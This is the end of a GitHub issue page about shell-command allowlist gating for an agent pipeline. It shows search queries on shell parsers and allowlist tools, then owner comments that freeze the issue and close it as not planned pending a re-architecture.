    • tree-sitter-bash parse simple commands argv library, results: 5
    • shellfirm intercept risky shell commands allowlist, results: 5
    • open source shell command allowlist blocklist parser gate tool, results: 5
    • Codex prefix_rule shell command rules allowlist, results: 5
    • tree-sitter-bash github parser bash grammar, results: 5
    • shellfirm github, results: 5
    • pypi tree-sitter-bash package, results: 5
    • bashlex python shell parser pypi, results: 5

    Sources:

  10. dan-petty commented on Nov 20, 2026

    @dan-petty
    OwnerAuthor

    Frozen on 2026-11-20. The stage, implement and fix-checks jobs grade under 60%, so the owner rule asks for a re-architecture before more fixes inside the current design (tracker #6519). This item is incremental work on those jobs, so its Dependencies section now names #6521 first. Stage and implement leave this item while #6521 is open. When the experiments of #6519 decide, a person closes #6521 (this item can then continue) or closes this item as not planned.

  11. dan-petty commented on Nov 30, 2026

    @dan-petty
    OwnerAuthor

    Triage under #6519 (owner instruction of 2026-11-30), before the hold #6521 closes. This item adds or extends a gate, refusal, screen, cap, limit, retry, result line, shell allowlist, tool catalog or plan-shape rule of the stage, implement or fix-checks job. #6519 found that 263 of about 900 issues in four weeks added such rules and none replaced the engine. Stage now runs on stock Coder (grade 60 on 30 graded attempts), where the agent reads the repository, runs the checks in its loop and has a real shell; implement follows (#6527). The code paths that this item names have also moved. If the failure class still shows in graded attempts, file a new item from that evidence. Closed as not planned; a person may reopen it.

  12. removed
    status/new
    on Nov 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    effort/highpriority/p1-highscope/roadmapsource/agenttype/featurevalue/high

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions